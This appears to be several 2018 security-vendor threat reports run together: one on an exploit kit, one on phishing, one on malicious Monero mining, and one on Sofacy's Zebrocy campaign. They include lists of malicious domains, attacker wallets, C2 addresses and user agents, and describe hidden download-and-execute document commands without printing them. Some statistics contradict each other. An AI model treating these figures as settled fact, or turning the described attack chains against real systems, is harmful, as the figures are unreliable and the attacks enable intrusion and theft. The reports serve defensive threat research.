This is CVE-2014-6332 which used an Out of Boundary (OOB) vulnerability in VBArray. If the attack succeeds, the VB code runs custom function runmumaa which generates and executes wmier.vbs that in turn downloads and executes lzdat. as shown in Figure 16 and Figure 17.

 

elink_18

Figure 16. The payload of CVE-2014-6332

 

elink_19

Figure 17. wmier.vbs

 

Another example of EK which used CVE-2016-6332, this time of a cryptocurrency miner hosted on a domain, there is a domain “twlife[.]tlgins[.]com[.]tw” which hosted the cryptocurrency miner payload “wu[.]exe” called by the custom VB function runmumaa. This domain appears to be a legitmate but compromised domain belonging to a Taiwan insurance company and likely compromised by attackers with a Struts vulnerability as shown in Figure 18.

 

elink_20

Figure 18. malicious domain information

The second part in the exploit code is a cryptocurrency miner. It used a public JavaScript library of cryptocurrency miner named CoinHive and we can see the user is “John-doe”. More and more web Trojans are used to mine cryptocurrencies recently. More information about CoinHive, please see another blog by Unit 42.

 

Summary

Based our observation from ELINK statistics in first quarter 2018, we found that the most active EK is becoming KaiXin and it is still evolving with more layers obfuscation and adding a cryptocurrency miner. The traditional EKs, Rig and Sundown, are still alive but not too much updating and using some old exploits. Besides, not all of web-based threats are from EK, around 20% of the malicious URLs are not from an EK family and using some public exploits. All of malicious URLs detected from ELINK will be blocked by Palo Alto Firewalls, we have all of these exploits covered with IPS signature and also other Palo Alto Networks products or service like URL filtering and Threat Prevention will protect our customers from these kinds of attacks. At last, to protect yourselves from most of web Trojans, we recommend users to use the latest software and patch your system in time.

 

IOCs

Malicious domains:

www.primoprime[.]com

www.adultcre[.]online

apple-id[.]vip

iz-icloud[.]cn

icloud-appd[.]cn

www.icloud-mayiphone[.]com

theshoppingoffers[.]trade

casino-lemnde[.]online

tdpaas[.]com

техталенто[.]рф

www.icloud-fneiphone[.]com

iosny[.]cn

gavkingate[.]info

icloud[.]iosny[.]cn

www.appleid-ifane[.]com

app-id-itunes[.]vip

bugi1man[.]info

www.apple-ifngiphone[.]com

www.adultacream[.]online

www.applefind-iphone[.]com

www.icloud-iphoneifed[.]com

www.appid[.]pxret-ios[.]cn

www.iphone[.]firds[.]cn

com-iosvnt[.]cn

appie-pd[.]top

prestige-rent[.]eu

netrsy[.]com

icloud[.]com-iosrnx[.]cn

appie-yd[.]top

www.icloud[.]com-ioseat[.]cn

casinosmart[.]online

appleid-iphone[.]com

www.aducrea[.]online

apple-icloud-idcos[.]top

ggga[.]xyz

www.apple-ifena[.]com

24vipcpsins[.]online

www.apple-lnciphone[.]com

www.icloud[.]com.iosny[.]cn

www.icloud[.]com-ioslga[.]cn

apple-icloud-iphone[.]cn

недостаточно[.]рф

icloud-mybook[.]com[.]cn

www.apple[.]com.iosny[.]cn

lookogo[.]com

www.app-id-itunes[.]vip

www.iphone[.]id[.]firds[.]cn

com-iosrnx[.]cn

www.apple-ifoniphone[.]com

www.apple-icloud-ac[.]cn

appie-td[.]top

tvbsports[.]nl

icloud-id[.]co

pixelko[.]info

Phishing in a Nutshell: January – March 2018

Summary
Phishing remains one of the most dangerous threat vectors of cyberattacks. Even though Exploit Kits are on the decline overall, as we outlined in our posting Rig EK One Year Later: From Ransomware to Coin Miners and Information Stealers, phishing itself is not on the decline. Unit 42 recently has done research on phishing attacks and phishing URLs. In this blog, we will show some statistical phishing results from the first quarter of 2018, January through March, especially for HTTPS phishing URLs.

Phishing URLs Statistics

In the first quarter of 2018, we found 4,213 URLs from 262 unique domains used in phishing attacks. On average, we found one domain serving 16 different phishing URLs. The heat map below shows the geographic distribution of these 262 domains.
Nutshell_1

Figure 1 Phishing domains geographic heat map

Over half of these phishing domains were hosted in the United States. There was then sharp drop to the two next highest countries: Germany with 28 domains and Poland with 13, as shown below in Figure 2.
Nutshell_2

Figure 2 Phishing domains countries/zones and numbers

We also found several phishing domains hosted in Africa and South America.
Among the 4,213 phishing URLs, there are 2,066 using a generic phishing template which can target multiple different companies or organizations; for example, attackers used “next1.php” with the name and id “chalbhai” in a form to target Bank of America customers as shown in Figure 2. We also observed that this similar template targeted DropBox customers and was used for IRS tax fraud schemes.

Nutshell_3

Figure 3. chalbhai phishing page source code example

[subscribe]

In addition to the generic phishing templates, there were 1404 URLs with phishing spoof pages targeting Adobe customers, 155 URLs targeting DropBox customers, 18 URLs targeting Facebook users, 442 URLs targeting Google Doc users, 108 URLs targeting Google Drive users and 20 URLs targeting Office 365 customers. There is a histogram below in Figure 4 showing the phishing URL distribution by targets. From the histogram, we can see the generic phishing URLs account for almost 50% of the total 4213 URLs, followed by the URLs targeting Adobe and Google accounts, accounting for 33% and 13% respectively. In addition to the top 3, there are also a few URLs targeting Office 365 and Facebook accounts..
Nutshell_4

Figure 4. Phishing spoof page distribution


HTTPS Phishing URLs

HTTPS phishing URLs are more difficult to identify. Therefore, we put additional effort into identifying and analyzing them. Of the 4,213 phishing URLs, 1,010 are for HTTPS URLs from 46 unique domains. On average, one domain served 21 different phishing URLs. Figure 5 shows the comparison between HTTP and HTTPS phishing URLs and domains.
Nutshell_5

Figure 5. HTTP and HTTPS comparison

We also investigated the certificate issuers of the 46 domains. We found “cPanel” issued certs for 31 phishing domains, “COMODO” and “Let’s Encrypt” each respectively issued certs for 6 different phishing domains, “Go Daddy Secure” issued one, and also there are 2 domains no longer in use as shown in Figure 6.
Nutshell_6

Figure 6. Cert Issuer Distribution

Unit 42 has contacted all hosters and issuers. The “Comodo” certs have been distrusted by Google and there is only one from “Go Daddy Secure”. A complete list of domains and certs are included below. We highly recommend they be added into suspicious certificate lists.
Nutshell_7

Figure 7. Phishing domains’ cert issuers


Phishing Kits

To make phishing attacks more effective, attackers usually clone and pack the modified files of one website (intended to be used in a phishing campaign) into a zip file and upload it to multiple hacked websites. This zip file can be considered a part of phishing kit. After unpacking the zip files and deploying the phishing site, some attackers fail to remove the zip file leaving it openly accessible to researchers to analyze its contents. During our research, we collected phishing zip file samples. Below is a phishing example meant to target Outlook/Office365 accounts as shown in Figure 8 and Figure 9.
Nutshell_8

Figure 8. Directories of a phishing kit

Nutshell_9

Figure 9. Contents of CSS directory in a phishing kit


Summary

In this blog we showed some phishing statistics from the first quarter of 2018 that demonstrates phishing targets distribution, general phishing templates and phishing kits. In particular, we showed HTTPS phishing URLs and the distribution of certificate issuers with certs being used maliciously. HTTPS phishing URLs are worth noting, because HTTPS is thought by many to be more trustworthy and malicious links are harder to detect.  Palo Alto Networks has the ability to deal with HTTPS phishing URLs and will continue to ensure that our customers can be protected from HTTPS phishing attacks. We also have IPS signatures to detect phishing kits. All Palo Alto Networks customers with a valid threat prevention subscription are protected from all phishing attacks mentioned in this blog.

IOCs

Carrentalahmedabad[.]info (dead) (dead)
Sdlfkjttq[.]tk (dead) (dead)
ana-ero[.]bid COMODO ECC Domain Validation Secure Server CA 2  sni50732.cloudflaressl[.]com
www.discoverdiva[.]com COMODO ECC Domain Validation Secure Server CA 2  sni222615.cloudflaressl[.]com
biomedics.000webhostapp[.]com COMODO RSA Domain Validation Secure Server CA  *.000webhostapp[.]com
clements.000webhostapp[.]com COMODO RSA Domain Validation Secure Server CA  *.000webhostapp[.]com
offiicceeeedrop.000webhostapp[.]com COMODO RSA Domain Validation Secure Server CA  *.000webhostapp[.]com
re-fb.000webhostapp[.]com COMODO RSA Domain Validation Secure Server CA  *.000webhostapp[.]com
Allamericantrade[.]eu cPanel, Inc. Certification Authority  Allamericantrade[.]eu
Allamericantrade[.]pl cPanel, Inc. Certification Authority  Allamericantrade[.]pl
Azadtehsil[.]ml cPanel, Inc. Certification Authority  Azadtehsil[.]ml
Bectronix[.]tech cPanel, Inc. Certification Authority  Bectronix[.]tech
Clearwaterfiles[.]ml cPanel, Inc. Certification Authority  Clearwaterfiles[.]ml
Clearwaterfiles[.]tk cPanel, Inc. Certification Authority  Clearwaterfiles[.]tk
Cloudhsh[.]com cPanel, Inc. Certification Authority  Cloudhsh[.]com
Cristaleriags[.]es cPanel, Inc. Certification Authority  Cristaleriags[.]es
cristelito.com[.]pl cPanel, Inc. Certification Authority  cristelito.com[.]pl
cuh-dubai[.]com cPanel, Inc. Certification Authority  cuh-dubai[.]comcom
diabeticosaudavel.com[.]br cPanel, Inc. Certification Authority  diabeticosaudavel.com[.]br
Dunkelbergerz[.]ga cPanel, Inc. Certification Authority  Dunkelbergerz[.]ga
ea23travel[.]com cPanel, Inc. Certification Authority  ea23travel[.]com
Filtrao[.]org cPanel, Inc. Certification Authority  Filtrao[.]org
Footworkapp[.]ga cPanel, Inc. Certification Authority  Footworkapp[.]ga
Hentoshphotography[.]com cPanel, Inc. Certification Authority  Hentoshphotography[.]com
mail.allamericantrade[.]eu cPanel, Inc. Certification Authority  Allamericantrade[.]eu
mail.cristelito.com[.]pl cPanel, Inc. Certification Authority  cristelito.com[.]pl
mecanicoadomicilio.com[.]ve cPanel, Inc. Certification Authority  mecanicoadomicilio.com[.]ve
mic-office[.]cf cPanel, Inc. Certification Authority  mic-office[.]cf
mic-office[.]ga cPanel, Inc. Certification Authority  mic-office[.]ga
richbtc4u[.]com cPanel, Inc. Certification Authority  richbtc4u[.]com
Servicenterelectronic[.]com cPanel, Inc. Certification Authority  Servicenterelectronic[.]com
Theaafiz[.]com cPanel, Inc. Certification Authority  Theaafiz[.]com
vweds.usa[.]cc cPanel, Inc. Certification Authority  vweds.usa[.]cccc
www.allamericantrade[.]eu cPanel, Inc. Certification Authority  Allamericantrade[.]eu
www.cristelito.com[.]pl cPanel, Inc. Certification Authority  cristelito.com[.]pl
www.manglammilk[.]com cPanel, Inc. Certification Authority  Manglammilk[.]com
www.servicenterelectronic[.]com cPanel, Inc. Certification Authority  Servicenterelectronic[.]com
www.upperdelawarescenicbyway[.]org cPanel, Inc. Certification Authority  Upperdelawarescenicbyway[.]org
Zyaviv[.]com cPanel, Inc. Certification Authority  Zyaviv[.]com
Getwealthi[.]com Go Daddy Secure Certificate Authority - G2  Chasethepaper[.]com
Farmking[.]in Let's Encrypt Authority X3  Farmking[.]in
Cabinetdetectivi[.]ro Let's Encrypt Authority X3  Cabinetdetectivi[.]ro
Stiesdal[.]com Let's Encrypt Authority X3  Stiesdal[.]com
Stingereincendiu[.]ro Let's Encrypt Authority X3  Stingereincendiu[.]ro
usps.com.runningwild.co[.]ke Let's Encrypt Authority X3  usps.com.runningwild.co[.]ke
www.duannhatrangpearl.com[.]vn Let's Encrypt Authority X3  duannhatrangpearl.com[.]vn

The Rise of the Cryptocurrency Miners

Over the past few months, I’ve found myself continually being in the position of researching a new threat or campaign that results in the delivery of a cryptocurrency miner. As time progressed, I began asking myself it this was a coincidence, or part of a much larger trend. As such, I began to investigate how many cryptocurrency miners have historically been identified within Palo Alto Network’s WildFire platform. In doing so, I found a radical upward trend. The graph below represents how many new cryptocurrency mining malware samples have been identified over time. It should be noted that this dataset does not include JavaScript, or web-based, malicious mining activities, which continues to plague Internet users.
Crypto_1

Figure 1 Instances where a new cryptominer sample was discovered over time

It should be noted that the graph above does not represent how often sessions we witnessed, but rather how often we identified a new cryptocurrency miner sample over time.
This realization of this trend was only the start, however, as I wished to analyze this entire dataset to answer some of the following questions:

  • What cryptocurrencies are mined the most?
  • How much money has historically been made by these actors?

Starting in roughly June 2017, Bitcoin and other top cryptocurrencies saw a dramatic rise in their value, as more and more people sought to invest, which ultimately drove up the price. Coincidentally, June 2017 is also when we began to witness the trend of a high uptick in cryptocurrency miners within the WildFire platform.
Crypto_2

Figure 2 Timeline of price (USD) of Bitcoin (Image source: coinmarketcap.com)

This drastic increase in price climaxed in December 2017, where the price of Bitcoin rose to roughly $20,000. It has since corrected to roughly $8,000 at the time of this writing.
This blog represents and overview of my research to answer these questions, and the results I was able to discover.

General Statistics
To date, I have identified roughly 470,000 unique samples that ultimately deliver cryptocurrency miners. Using WildFire reports and associated PCAP data, I was able to analyze these samples to parse out various information, which included some or all of the following:

  • Cryptocurrency targeted
  • Wallet and email addresses used when connecting to mining pools
  • Mining pool

This ultimately led me to collecting the following high-level information:

  • 629,126 Samples
  • 3,773 Emails used to connect with mining pools
  • 2,995 mining pool URLs
  • 2,341 Monero (XMR) wallets
  • 981 Bitcoin (BTC) wallets
  • 131 Electroneum (ETN) wallets
  • 44 Ethereum (ETH) wallets
  • 28 Litecoin (LTC) wallets

When looking at a breakdown of what cryptocurrencies are being targeted by mining malware, we see an incredible monopoly of the Monero cryptocurrency.

Crypto_3

Figure 3 Breakdown of cryptocurrencies targeted by malicious miners

Monero Statistics
I extracted a total of 2,341  Monero wallets from the analyzed sample set. Unlike some other cryptocurrencies, it is impossible to query the Monero blockchain to extract a single wallet’s current balance without the owner’s password. This is by design: a result of how Monero was originally designed. As such, I needed to take a different methodology in order to determine how much money attackers were able to mine. Fortunately, in addition to the wallets, I was also able to determine which mining pools were used for various mining efforts. Looking at the top ten mining pools used by this malware, I determined that all but one allows for anonymous viewing of statistics based off of the wallet as an identifier. This anonymous viewing is intentional, as it allows users to anonymously connect and use various mining pools without inputting any personal identifiable information.

Crypto_4

Figure 4 An example of anonymously querying a mining pool for information on a XMR wallet

By querying the top eight mining pools for all 2,341 Monero addresses, I was able to determine exactly how much Monero has been mined historically with a high degree of accuracy. By querying the mining pools themselves, instead of the blockchain, we’re able to say exactly how much has been mined without the fear of the data being polluted by payments to those wallets via other sources.
We used the following Monero pools for this research:

  • moneropool.com
  • minexmr.com
  • monerohash.com
  • monero.crypto-pool.fr
  • xmrpool.eu
  • c1d2.com
  • dwarfpool.com
  • nanopool.org
  • supportxmr.com

By querying these addresses against these mining pools, we obtained the following statistics on how many Monero coins have been mined to date:

Wallet Mined Monero (XMR)
496ePyKvPBRWEoQiqFEaL8frWuR9XuxNj98p69ZQRxmdZZHd5KVSS24bkYY93ASAxKPXn9XmnmeCxHz9NUdvvs8eE5BP24A 88,448.53
49s5yfpFvEX8a2MBQDYxHpECwm3PVEYBq5E3i3wfZuZzbaRcgy3HVx6Qf2sjQHju5BcvF8VEohoW86VmP19nuz3YAcvLdUh 79,576.81
44N9sqiizwFYX7ciXSdzycT7uBJpWLXv8Enief4ictiS5fdpmwwgAYFScjfB8nZRFVj2ZDzWdJdEVi5uMDvTrYbH3Mr4DYH 56,344.09
42yJMfdGHQnJN5XEUHydTFFPzzuhUn7xEbL89V5Zkkfch7zxaZCJhyEfE8txXQmL6JY5Z1cXGtKeKbuNav7tarp7EoxsJtA 32,885.95
42NCdZTvv3WDjVJTd4ny51SXQiKhUyprE9zrP5BsjqJu9aeWqwunHK7aHFR9ya8gJf2REyYwBMDxMjiAVPMBqsVHQqJe91y 26,359.34
44cwDVn9cQsUqb9nroJm98am2CvT8aUoKKU3ctaKAtQSNoZWC9cFYzjXg1udRxT6XVDjX7DxThP7QYb9WwGCsNTT3XzPgUk 23,300.37
46GGhVFZq8yKKVvqssxq9Qd1vyf9BWzWPUcgExPtCPqzgczXexskd93FJ6F9q3e7H46jTnGhXqdDu1pJcvD8PpPGRP2qRg5 22,519.95
42ychz53apvgs3EHMoeAyGQM3pq7EikTLTBu1RaBj8njgVfykF4v8HdPNyzAfDTDUGZfoLjMdh9Wa4u1Bm2t3f7aSFSwS4U 21,389.34
46hoCjuFZBiTmqJ456NSnM3ynWt5KJYjVE8U2wUx2TVwFGmLMYNz2c4L3mQ9PRQEdVThcHWzU3eKKFwAtELczfJuLPnP9hd 20,693.71
471c2w7dyMMe51cDTKSgqoHPpg6uW6A222W6ePHXeXhwEVqSbPunrCqCbRG3VUXXMZ47twKtzBEokarwADLYDqPaLefXQMm 19,994.71

Total: 798613.33 XMR

One interesting note about the figure above is that the total Monero represented roughly 5% of all Monero in circulation at the time of writing. This if course doesn’t take into account web-based Monero miners, or Monero miners that we do not have visibility into. As such, we can assume that the actual percentage of Monero in circulation that was mined via malicious activity is actually higher.

Converting the figures above to USD with an exchange rate of $180 per Monero gives us the following figures:

Wallet Estimated Money Earned
496ePyKvPBRWEoQiqFEaL8frWuR9XuxNj98p69ZQRxmdZZHd5KVSS24bkYY93ASAxKPXn9XmnmeCxHz9NUdvvs8eE5BP24A $15,920,736.22
49s5yfpFvEX8a2MBQDYxHpECwm3PVEYBq5E3i3wfZuZzbaRcgy3HVx6Qf2sjQHju5BcvF8VEohoW86VmP19nuz3YAcvLdUh $14,323,826.13
44N9sqiizwFYX7ciXSdzycT7uBJpWLXv8Enief4ictiS5fdpmwwgAYFScjfB8nZRFVj2ZDzWdJdEVi5uMDvTrYbH3Mr4DYH $10,141,936.12
42yJMfdGHQnJN5XEUHydTFFPzzuhUn7xEbL89V5Zkkfch7zxaZCJhyEfE8txXQmL6JY5Z1cXGtKeKbuNav7tarp7EoxsJtA $5,919,470.51
42NCdZTvv3WDjVJTd4ny51SXQiKhUyprE9zrP5BsjqJu9aeWqwunHK7aHFR9ya8gJf2REyYwBMDxMjiAVPMBqsVHQqJe91y $4,744,680.66
44cwDVn9cQsUqb9nroJm98am2CvT8aUoKKU3ctaKAtQSNoZWC9cFYzjXg1udRxT6XVDjX7DxThP7QYb9WwGCsNTT3XzPgUk $4,194,066.30
46GGhVFZq8yKKVvqssxq9Qd1vyf9BWzWPUcgExPtCPqzgczXexskd93FJ6F9q3e7H46jTnGhXqdDu1pJcvD8PpPGRP2qRg5 $4,053,591.64
42ychz53apvgs3EHMoeAyGQM3pq7EikTLTBu1RaBj8njgVfykF4v8HdPNyzAfDTDUGZfoLjMdh9Wa4u1Bm2t3f7aSFSwS4U $3,850,081.38
46hoCjuFZBiTmqJ456NSnM3ynWt5KJYjVE8U2wUx2TVwFGmLMYNz2c4L3mQ9PRQEdVThcHWzU3eKKFwAtELczfJuLPnP9hd $3,724,868.25
471c2w7dyMMe51cDTKSgqoHPpg6uW6A222W6ePHXeXhwEVqSbPunrCqCbRG3VUXXMZ47twKtzBEokarwADLYDqPaLefXQMm $3,599,048.14

Total Estimated Earned: $143,750,400.15

Looking at the overall distribution of wealth among the 2,341 wallets identified proves to provide interesting insight. Of the 2,341 wallets, only 1278 (55%) earned 0.01 XMR (~$2.20) or more. Nearly half of all the wallets identified have been unable to generate any meaningful amount of Monero, likely due to the malware being unsuccessful, or the attacker using a mining pool other than the ones queried.
Of the remaining 55% of the wallets, we see the following breakdown in wealth:
Crypto_5

Figure 7 Distribution of Monero mined to wallets earning 0.01 XMR or greater via logarithmic scale

As we can see, only a small subset of the remaining 55% of wallets have earned a significant (100 XMR or greater) amount of coins. Only 244 wallets of these wallets have earned 100 XMR or greater. This represents 19% of the above chart, or 10% of all wallets identified.
Additionally, only 99 wallets have mined over 1,000 XMR, which represents 7.7% of the above chart, or 4% of all wallets identified.
Finally, 16 wallets have obtained over 10,000 XMR, which represents 1.25% of the above chart, or 0.68% of all wallets identified.
In addition to determining how much Monero/money has historically been mined, since we are querying the mining pools themselves, we can also perform a spot check against the total hashing power used by these attackers. Based on this spot check, we have the following figures:

Wallet Hashrate (H/s)
45VVxJoFzrTGqgDNujawPB6xtLEo8MFbvL4eQVf6cyz7DQg1EdU1JADUyMVy4KspjRQfvgGefCCuxdKEMzWwwPnp4KwMy9b 2,313,013.72
49e9B8HxzSbMWsNbMs72aVe78U9CCE2DAM5aDJYNeccWNvWiKfrPaGeewmTAjj6nt6Bqzob4zaRjLXfpW1WfRMnzEAQBHy7 1,248,794.28
45c2ShhBmuk6ukfdTLok59U86gWLXZo8kDJbpTm8uYT1U35mig1pUCbd6796AJviTPXetFrUo37XFGcEYU1k3tYe32o9qEr 984,838.06
4AkDyZW4bkrWmrYWAC7CJFJhbRkLE4m1vKsS46CetPZM3TkyQ6FMgPXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm42jtnPq 865,655.00
48dDEWnbhC59HNNm2CHur859zmG4CgGkZNU67tXgLjr1gem4KCXf3e1GU37dXy8cs44Pw7s5wp9L4JQoYUyno8E14nSFGXx 451,653.06
43SVizefGVNRcMkocYwPBEafoazcN3HgMWb2fjaLrxP4ew61sw3fNfCQkoSwReVE6cZjpRe1TYvf5aqrUPAUB72DAcdXanZ 371,118.09
48j5us6QWvQUAk7E1GKC6mFMH52183TNrDqrYjXV7mMngVX9t1GuptEb35QwefNsPPhGLWEqxHrY7JCxeDzC6ub8MuwyAfq 367,899.55
41xDYg86Zug9dwbJ3ysuyWMF7R6Un2Ko84TNfiCW7xghhbKZV6jh8Q7hJoncnLayLVDwpzbPQPi62bvPqe6jJouHAsGNkg2 321,845.00
496ePyKvPBRWEoQiqFEaL8frWuR9XuxNj98p69ZQRxmdZZHd5KVSS24bkYY93ASAxKPXn9XmnmeCxHz9NUdvvs8eE5BP24A 310,660.00
425sBVwP8ip9kb85vNyEXkAdfh5CqBjjzir8cNTiVXHwf5PZ5XppFJhJempwxY8CuVHDUeFaAkzwF9ohx8J2nRMw9fkjaUZ 297,920.00

Total Hashrate: 19,503,823.54 H/s

The total hashrate above represents roughly 2% of the global hashing power mining the Monero network. The total hashrate of roughly 19MH/s would result in approximately $30,443 per day based on today’s current exchange rates and network difficulty.
Similarly, the top three hashrates will mine approximately $2,737, $2,022 and $1,596 per day, respectively.
Looking at a couple of the miner’s hashrates historically shows some interesting visual representations of how this activity looks in the wild. In the graph below, we discover a consistent upward and downward trend that takes place once a day. It is not fully clear why this change occurs on a daily basis, but it is consistent in a number of other malicious cryptocurrency miners encountered. One hypothesis for why this activity may be occurring is that the malware may be configured to only operate at given times of the day, or when the user is not active on the system. Alternatively, perhaps the victims are concentrated in a specific geographical region, and this upward and downward flow is simply a result of users shutting off their machines in the evening hours. The wallet below has historically obtained roughly 1,000 XMR, or about $200,000 by the current exchange rates.

Crypto_6

Figure 9 Example graph showing mining activity over time for a specific wallet address (2/3)

Looking at the top miner based on hashrate shows an interesting depiction:
Crypto_7

Figure 10 Example graph showing mining activity over time for a specific wallet address (2/3)

In addition to seeing the same wave pattern as the first example, we also notice that the activity for this miner is fairly recent, beginning in early April of this year. In less than 3 months, this particular actor has accumulated 575 XMR, or roughly $126,500 based on today’s exchange rates.
In addition to the upward and downward flow, we also encounter wallets that have a much more consistent mining capacity. This is very similar to activity you might encounter by a benign cryptocurrency miner, which makes it difficult to easily identify. The wallet below has historically obtained roughly 2,000 XMR, or about $400,000 by the current exchange rates.

Crypto_8

Figure 11 Example graph showing mining activity over time for a specific wallet address (3/3)

Conclusion
To date, the popularity of malicious cryptocurrency mining activity continues to skyrocket. The large growth of malware mining cryptocurrencies is a direct result of a previous spike in value, which has since corrected to a value that is more in line with expectations. As this correction has taken place, only time will tell if cryptocurrency miners will continue in popularity. It is clear that such activities have been incredibly profitable for individuals or groups who have mined cryptocurrency using malicious techniques for a long period of time. A total of $175m has been found to be mined historically via the Monero currency, representing roughly 5% of all Monero currently in circulation.
Defeating cryptocurrency miners being delivered via malware proves to be a difficult task, as many malware authors will limit the CPU utilization, or ensure that mining operations only take place during specific times of the day or when the user is inactive. Additionally, the malware itself is delivered via a large number of methods, requiring defenders to have an in-depth approach to security.
Palo Alto Networks customers have a number of means to combat this threat on their networks, including Traps and Wildfire detections for cryptocurrency miners delivered via malware. Additionally, the stratum App-ID may be used to identify cryptocurrency mining activity and take appropriate actions on it.

Readers may refer to the following list of all XMR wallets identified during this research. Additionally, hashes for the 629,126 samples are also being included.

Sofacy Group’s Parallel Attacks

Summary
The Sofacy group remains a persistent global threat. Unit 42 and others have shown in the first half of 2018 how this threat actor group continues to target multiple organizations throughout the world with a strong emphasis on government, diplomatic and other strategic organizations primarily in North America and Europe.
Following up our most recent Sofacy research in February and March of 2018, we have found a new campaign that uses a lesser known tool widely attributed to the Sofacy group called Zebrocy. Zebrocy is delivered primarily via phishing attacks that contain malicious Microsoft Office documents with macros as well as simple executable file attachments. This third campaign is consistent with two previously reported attack campaigns in terms of targeting: the targets were government organizations dealing with foreign affairs. In this case however the targets were in different geopolitical regions.
An interesting difference we found in this newest campaign was that the attacks using Zebrocy cast a far wider net within the target organization: the attackers sent phishing emails to a an exponentially larger number of individuals. The targeted individuals did not follow any significant pattern, and the email addresses were found easily using web search engines. This is a stark contrast with other attacks commonly associated with the Sofacy group where generally no more than a handful of victims are targeted within a single organization in a focus-fire style of attack.
In addition to the large number of Zebrocy attacks we discovered, we also observed instances of the Sofacy group leveraging the Dynamic Data Exchange (DDE) exploit technique previously documented by McAfee. The instances we observed, however, used the DDE exploit to deliver different payloads than what was observed previously. In one instance the DDE attack was used to deliver and install Zebrocy. In another instance, the DDE attack was used to deliver an open-source penetration testing toolkit called Koadic. The Sofacy group has leveraged open source or freely available tools and exploits in the past but this is the first time that Unit 42 has observed them leveraging the Koadic toolkit.

Links to previous attacks
In our February report, we discovered the Sofacy group using Microsoft Office documents with malicious macros to deliver the SofacyCarberp payload to multiple government entities. In that report, we documented our observation that the Sofacy group appeared to use conventional obfuscation techniques to mask their infrastructure attribution by using random registrant and service provider information for each of their attacks. In particular, we noted that the Sofacy group deployed a webpage on each of the domains. This is odd because attackers almost never set up an actual webpage on adversary C2 infrastructure. Even stranger, each webpage contained the same content within the body. Since that report, we continued our research into this oddity. Using this artifact, we were able to pivot and discover another attack campaign using the DealersChoice exploit kit with similar victimology to what we saw in February. Continuing to use this artifact, we discovered another domain with the same content body, supservermgr[.]com. This domain was registered on December 20, 2017 and within a few days was resolving to 92.222.136[.]105, which belonged to a well-known VPS provider often used by the Sofacy group.
Unfortunately, at the time of collection, the C2 domain had been sinkholed by a third party. Based on dynamic and static analysis of the malware sample associated with the supservermgr[.]com domain however, we were able to determine several unique artifacts which allowed us to expand our dataset and discover additional findings. First, we determined the sample we collected, d697160ae… was attempting to communicate to its C2 at hxxp://supservermgr[.]com/sys/upd/pageupd.php to retrieve a Zebrocy AutoIT downloader. Because the domain had been sinkholed, this activity could not be completed. However, we were able determine a unique, hard-coded user agent used for the C2 communications:

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1)

Using AutoFocus, we pivoted from the user agent string to expand our data set to three additional Zebrocy samples using the exact same user agent. This led us to additional infrastructure for Zebrocy at 185.25.51[.]198 and 185.25.50[.]93. At this point we had collected nearly thirty samples of Zebrocy in relation to the original sample and its associated C2 domain. Additional pivoting based on artifacts unique to this malware family expanded our dataset to hundreds of samples used over the last several years. Most of the additional samples were the Delphi and AutoIT variants as reported by ESET. However, several of the collected samples were a C++ variant of the Zebrocy downloader tool. In addition, we discovered evidence of a completely different payload in Koadic being delivered as well. Also, we found the IP address 185.25.50[.]93 hosting C2 services for a Delphi backdoor that ESET's report states is the final stage payload for these attacks.
A Maltego chart diagramming the relational analysis we performed is below:
figure2 copy

Figure 1 Visualization of relationships

Please note this is not a comprehensive chart of all Zebrocy and Koadic samples we were able to collect. Only samples mentioned or relevant to the relational analysis have been included.
From the 185.25.50[.]93 C2 IP, we discovered another hard-coded user agent being used by Zebrocy:
Mozilla/5.0 (Windows NT 6.1; WOW64) WinHttp/1.6.3.8 (WinHTTP/5.1) like Gecko
We observed several samples of Zebrocy using this user agent targeting the foreign affairs ministry of a large Central Asian nation. Pivoting off of this artifact provided us additional Zebrocy samples. One sample in particular, cba5ab65a… used yet another unique user agent string in combination with the previous user agent for its C2:
Mozilla v5.1 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1
A malware sample using two separate unique user agent strings is uncommon. A closer examination of the tool revealed the second user agent string was from a secondary payload that was retrieved by the cba5ab65a… sample. Pivoting from the Mozilla v5.1 user agent revealed over forty additional Zebrocy samples, with several again targeting the same Central Asian nation. Two samples specifically, 25f0d1cbc… and 115fd8c61… provided additional artifacts we were able to pivot from to discover weaponized documents to deliver Zebrocy as well as a Koadic.
Examining the use of the unique user agents’ strings over time shows that while previously only the Mozilla/5.0 user agent was in use, since mid 2017 all three user agent strings have been used by the Zebrocy tool for its C2 communications.

figure1 copy

Figure 2 Timeline of User Agents

DDE Documents
The two weaponized documents we discovered leveraging DDE were of particular interest due to victimology and a change in tactics.
While examining 25f0d1cbc…, we were able to pivot from its C2  220.158.216[.]127 to gather additional Zebrocy samples as well as a weaponized document. This document (85da72c7d…) appears to have been targeting a North American government organization dealing with foreign affairs. It leveraged DDE to retrieve and install a payload onto the victim host. A decoy document is deployed in this attack, with the contents purporting be a publicly available document from the United Nations regarding the Republic of Uzbekistan.
figure3 copy

Figure 3 Example of delivery document

figure4

Figure 4 Lure image used

The creator of the weaponized document appended their DDE instructions to the end of the document after all of the decoy contents. When the document is opened in Word, the instructions are not immediately visible, as Word does not display these fields contents by default. As you can see in the following screenshot, simply attempting to highlight the lines in which the DDE instructions reside does not display them.

figure5Figure 5 Hidden DDE commands

Enabling the “Toggle Field Codes” feature reveals the DDE instructions to us and shows that the author had set instructions to size 1 font and with a white coloring. The use of a white font coloring to hide contents within a weaponized document is a technique we had previously reported being used by the Sofacy group in a malicious macro attack.
The DDE instructions attempt to run the following the following command on the victim host, which attempts to download and execute a payload from a remote server:

During our analysis, we observed this DDE downloading and executing a Zebrocy AutoIt downloader (f27836430…), configured to attempt to download an additional payload from 220.158.216[.]127. The DDE instructions also included another command that it did not run, which suggests it is an artifact of a prior version of this delivery document. The following shows this unused command, which exposed an additional server within Sofacy’s infrastructure would download and execute an encoded PowerShell script from 92.114.92[.]102:

The unused command above appears to be related to previous attacks, specifically attacks that occurred in November 2017 as discussed by McAfee and ESET. The payload delivered in these November 2017 attacks using DDE enabled documents was SofacyCarberp, which differs from the Zebrocy downloader delivered in the February 2018 attacks.
